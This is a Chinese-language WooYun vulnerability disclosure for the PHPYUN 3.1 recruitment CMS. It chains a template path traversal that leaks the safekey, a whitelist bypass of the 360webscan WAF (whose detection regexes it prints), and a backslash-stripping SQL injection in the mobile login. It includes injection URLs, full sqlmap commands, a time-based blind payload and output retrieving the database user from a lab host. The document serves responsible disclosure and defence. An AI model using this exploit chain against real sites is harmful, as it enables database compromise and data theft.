当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070126

漏洞标题:一步步击溃PHPYUN(另类方法绕过防注入)

相关厂商:php云人才系统

漏洞作者: 猪头子

提交时间:2014-07-29 14:39

修复时间:2014-10-27 14:40

公开时间:2014-10-27 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-07-29: 厂商已经确认,细节仅向厂商公开
2014-08-01: 细节向第三方安全合作伙伴开放
2014-09-22: 细节向核心白帽子及相关领域专家公开
2014-10-02: 细节向普通白帽子公开
2014-10-12: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

由某处SQL注入引起,最终通过组合漏洞击溃PHPYUN

详细说明:

测试版本:PHPYUN 3.1 GBK beta 20140728
PHPYUN使用了两套waf,一套自己写的,一套360的,从第一套开始。
\data\db.safety.php:

quotesGPC(); // 效果:addslashes
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
foreach($_GET as $id=>$v){

safesql($id,$v,"GET",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
if(!is_array($v))
$v=substr(strip_tags($v),0,80);
$_GET[$id]=common_htmlspecialchars($v);
}
foreach($_COOKIE as $id=>$v){

safesql($id,$v,"COOKIE",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$v=substr(strip_tags($v),0,52);
$_COOKIE[$id]=common_htmlspecialchars($v);
}


首先通过quotesGPC()对输入进行addslashes,然后分别对$_GET/$_POST/$_COOKIE做同样的过滤($_POST为例):

safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);


但对$_POST做过滤时多了一个判断:

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}


当判断为真时进行过滤,为假则不过滤,而判断中的两个条件:

$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']


默认$config['sy_istemplate']=1,因此只要第二个条件为false就可以跳过对$_POST参数的过滤。
而第二个条件最关键的参数$config['sy_safekey']未知,它是在安装时随机生成的:
\install\index.php

$r=rand(10000000,99999999);
mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");


懒得穷举,可不可以用更优雅的方法拿到safekey?
搜索一下,看看有没有可能从其他地方泄露这个值,结果发现了好玩的东西:
\templates_c\%%8F^8F9^8F951B06%%admin_web_config.htm.php

<tr>
<th width="160">系统安全码:</th>
<td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="<?php echo $this->_tpl_vars['config']['sy_safekey']; ?>
" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
<td width="160">sy_safekey</td>
</tr>


此处模板里会输出safekey,但是如果直接访问这个模板的话,会因为$this未定义而报错。
按照模板编译的风格,这个命名方式的模板应该是编译后的模板,来找到其对应的编译前模板:
\template\admin\admin_web_config.htm

<tr>
<th width="160">系统安全码:</th>
<td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="{yun:}$config.sy_safekey{/yun}" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
<td width="160">sy_safekey</td>
</tr>


如果能让PHPYUN编译这个模板,拿到输出,safekey就到手了,因此需要找到可控的编译点:
\company\model\index.class.php:

function index_action(){
if($this->uid!=$_GET['id']&&$_COOKIE['usertype']=='1'){
... ... ...
}
if($_POST['submit'])
{
... ... ...
}
if($_POST['submit2'])
{
... ... ...
}
... ... ...
$tp=$_GET['tp']?$_GET['tp']:"index";
$this->seo("company_".$tp);
$this->yunset("com_style",$this->config['sy_weburl']."/template/company/".$tplurl."/");
$this->yunset("comstyle","../template/company/".$tplurl."/");
$this->yunset("defaultstyle","../template/default/");
$this->yuntpl(array('company/'.$tplurl."/".$tp));
}


在这里$_GET['tp']被传入到$tp然后进入$this->yuntpl(array('company/'.$tplurl."/".$tp)),yuntpl函数的主要作用是加载模板并编译输出它,所以只要控制$_GET['tp']为../../admin/admin_web_config就可以编译想要的模板了,试试:

4b1b7a51jw1ehkpk26ynwj20zh0pxtct.jpg


官方demo试试:

1.png


看到可爱的safekey了。
拿到safekey后,就能让前面判断的第二个条件为false,因此第一个waf就跳过了。
来到第二个waf,360的webscan:

if(is_file(LIB_PATH.'webscan360/360safe/360webscan.php')){
require_once(LIB_PATH.'webscan360/360safe/360webscan.php');
}


在360webscan.php中还有又一轮的过滤: \include\webscan360\360safe\360webscan.php

//get拦截规则
$getfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";


这些正则会被用在:

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {
if ($webscan_get) {
foreach($_GET as $key=>$value) {
webscan_StopAttack($key,$value,$getfilter,"GET"); // 对GET进行过滤
}
}
if ($webscan_post) {
foreach($_POST as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"POST"); // 对POST进行过滤
}
}
if ($webscan_cookie) {
foreach($_COOKIE as $key=>$value) {
webscan_StopAttack($key,$value,$cookiefilter,"COOKIE"); // 对COOKIE进行过滤
}
}
if ($webscan_referre) {
foreach($webscan_referer as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"REFERRER"); // 对REFERER头进行过滤
}
}
}


而检测点的第一个if判断是可以跳过的:

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {


$webscan_switch默认是1.
webscan_white($webscan_white_directory,$webscan_white_url)用来检查当前URL请求在不在白名单范围中,存在的话就不检查: \include\webscan360\360safe\360webscan.php:215

/**
* 拦截目录白名单
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['PHP_SELF'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1) {
return false;
}
foreach ($webscan_white_url as $key => $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
}
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
return false;
}
}
}
return true;
}


webscan_white先判断请求url是否在白名单里,接下来判断请求的参数对是否在白名单里,白名单:

//后台白名单,后台操作将不会拦截,添加"|"隔开白名单目录下面默认是网址带 admin  /dede/ 放行
$webscan_white_directory='admin|\/dede\/|\/install\/';
//url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行
//写法:比如phpcms 后台操作url index.php?m=admin php168的文章提交链接post.php?job=postnew&step=post ,dedecms 空间设置edit_space_info.php
$webscan_white_url = array('index.php' => 'admin_dir=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');


这个白名单检测知道怎么绕过的人应该很多,只要让传入参数存在白名单目录或参数即可。 比如利用白名单目录: http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx 由于请求中包含了白名单目录/dede/,所以放行。 利用白名单参数: http://www.target.com/index.php?m=foo&c=bar&admin_dir=admin&id=1' and 1=2 union select xxx 同理,请求中包含了白名单参数所以放行。
绕过360waf后,接下来就进入程序逻辑,没有什么需要绕的了。
虽然绕了两个waf,但是还有一个quotesGPC()函数是生效的,quotesGPC()的作用:

function quotesGPC() {
if(!get_magic_quotes_gpc()){
$_POST = array_map("addSlash", $_POST);
$_GET = array_map("addSlash", $_GET);
$_COOKIE = array_map("addSlash", $_COOKIE);
}
}
function addSlash($el) {
if (is_array($el))
return array_map("addSlash", $el);
else
return addslashes($el);
}


等同于一个addslashes_deep,想要绕过这个得结合具体漏洞点:
\wap\model\login.class.php:30

function index_action()
{
$this->get_moblie(); // 通过UA判断是否是手机端
if($this->uid || $this->username)
{
$this->wapheader('member/index.php'); //登陆用户跳转
}
if($_POST['submit'])
{
if($_POST['wxid'])
{
$wxparse = '&wxid='.$_POST['wxid'];
}
$usertype=$_POST['usertype']?intval($_POST['usertype']):1;
$username = str_replace('\\','',$_POST['username']); // 漏洞点:过滤\
if($usertype>0 && $username!='')
{
$userinfo = $this->obj->DB_select_once("member","`username`='".str_replace('\\','',$_POST['username'])."' and usertype='".$usertype."'","username,usertype,password,uid,salt");
... ... ...


由于str_replace('\\','',$_POST['username']);过滤了\,直接导致quotesGPC函数失效。
quotesGPC失效,单引号就可逃脱
safekey拿到,第一套过滤就可绕过
360webscan用白名单绕过
所以该处注入漏洞存在并无视防御

漏洞证明:

参数username为注册的用户名,参数usertype为注册的用户类型,然后用之前的方法获得safekey后,使用SQLMAP:

root@kali:/usr/share/sqlmap/tamper# sqlmap -u "http://192.168.254.136/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --flush-session
... ...
... ...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 823 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:04:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL 5.0.11
[01:04:39] [INFO] fetched data logged to text files under './output/192.168.254.136'
[*] shutting down at 01:04:39


当前用户:

root@kali:/usr/share/sqlmap/tamper# sqlmap -u "http://192.168.254.136/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:09:14
[01:09:14] [WARNING] provided parameter 'username' is not inside the GET
[01:09:14] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://192.168.254.136:80/phpyun/728/wap/index.php'. Do you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:09:15] [INFO] testing MySQL
[01:09:15] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[01:09:25] [INFO] confirming MySQL
[01:09:25] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[01:09:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[01:09:35] [INFO] fetching current user
[01:09:35] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[01:09:35] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[01:14:57] [INFO] fetched data logged to text files under './output/192.168.254.136'
[*] shutting down at 01:14:57
root@kali:/usr/share/sqlmap/tamper#

修复方案:

1、修复泄露safekey的问题
2、修复360webscan被绕过问题
3、修复注入

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-29 14:57

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无